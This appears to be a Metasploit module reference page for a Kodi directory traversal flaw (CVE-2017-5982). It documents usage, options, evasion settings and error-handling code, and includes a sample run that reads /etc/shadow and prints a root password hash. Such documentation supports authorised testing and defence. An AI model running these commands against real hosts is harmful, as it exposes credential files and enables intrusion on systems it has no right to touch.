Kodi 17.0 Local File Inclusion Vulnerability - Metasploit
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Module Overview
Name: Kodi 17.0 Local File Inclusion Vulnerability
Module: auxiliary/scanner/http/kodi_traversal
Source code: modules/auxiliary/scanner/http/kodi_traversal.rb
Disclosure date: 2017-02-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-5982
This module exploits a directory traversal flaw found in Kodi before 17.1.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/kodi_traversal
msf auxiliary(kodi_traversal) > show options
... show and set options ...
msf auxiliary(kodi_traversal) > set RHOSTS ip-range
msf auxiliary(kodi_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(kodi_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1.
Vulnerable Application Installation Steps
Grab whatever image from libreelec if you're lazy, like the one for the Rpi2, or install kodi from scratch.
You'll need a version lower than 17.1 of Kodi.
Verification Steps
A successful run of the exploit will look like this:
msf > use auxiliary/scanner/http/kodi_traversal
msf auxiliary(kodi_traversal) > set RPORT 8080
RPORT => 8080
msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
RHOSTS => 192.168.0.31
msf auxiliary(kodi_traversal) > set FILE /etc/shadow
FILE => /etc/shadow
msf auxiliary(kodi_traversal) > run
[*] Reading '/etc/shadow'
[+] /etc/shadow stored as '/home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(kodi_traversal) > cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
[*] exec: cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin
systemd-network:*:::::::
root:$6$ktSJvEl/p.r7nsR6$.EZhW6/TPiY.7qz.ymYSreJtHcufASE4ykx7osCfBlDXiEKqXoxltsX5fE0mY.494pJOKyuM50QfpLpNKvAPC.:::::::
nobody:*:::::::
dbus:*:::::::
system:*:::::::
sshd:*:::::::
avahi:*:::::::
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Msfconsole Usage
Here is how the scanner/http/kodi_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/kodi_traversal
msf6 auxiliary(scanner/http/kodi_traversal) > show info
Name: Kodi 17.0 Local File Inclusion Vulnerability
Module: auxiliary/scanner/http/kodi_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-02-12
Provided by:
Eric Flokstra
jvoisin
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The max traversal depth to root directory
FILE /etc/passwd yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal flaw found in Kodi before
17.1.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-5982
Module Options
This is a complete list of options available in the scanner/http/kodi_traversal auxiliary module:
msf6 auxiliary(scanner/http/kodi_traversal) > show options
Module options (auxiliary/scanner/http/kodi_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The max traversal depth to root directory
FILE /etc/passwd yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/kodi_traversal auxiliary module:
msf6 auxiliary(scanner/http/kodi_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/kodi_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/kodi_traversal module can do:
msf6 auxiliary(scanner/http/kodi_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/kodi_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/kodi_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to read '<FILE>', possibily because
Here is a relevant code snippet related to the "Unable to read '<FILE>', possibily because" error message:
53: 'method' => 'GET',
54: 'uri' => uri
55: })
56:
57: if res and res.code != 200
58: print_error("Unable to read '#{datastore['FILE']}', possibily because:")
59: print_error("\t1. File does not exist.")
60: print_error("\t2. No permission.")
61:
62: elsif res and res.code == 200
63: data = res.body.lstrip
1. File does not exist.
Here is a relevant code snippet related to the "1. File does not exist." error message:
54: 'uri' => uri
55: })
56:
57: if res and res.code != 200
58: print_error("Unable to read '#{datastore['FILE']}', possibily because:")
59: print_error("\t1. File does not exist.")
60: print_error("\t2. No permission.")
61:
62: elsif res and res.code == 200
63: data = res.body.lstrip
64: fname = datastore['FILE']
2. No permission.
Here is a relevant code snippet related to the "2. No permission." error message:
55: })
56:
57: if res and res.code != 200
58: print_error("Unable to read '#{datastore['FILE']}', possibily because:")
59: print_error("\t1. File does not exist.")
60: print_error("\t2. No permission.")
61:
62: elsif res and res.code == 200
63: data = res.body.lstrip
64: fname = datastore['FILE']
65: p = store_loot(
Fail to obtain file for some unknown reason
Here is a relevant code snippet related to the "Fail to obtain file for some unknown reason" error message:
70: fname
71: )
72:
73: vprint_line(data)
74: print_good("#{fname} stored as '#{p}'")
75:
76: else
77: print_error('Fail to obtain file for some unknown reason')
78: end
79: end
80: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7980 Merged Pull Request: Add a sploit for CVE-2017-5982
References
Authors
- Eric Flokstra
- jvoisin
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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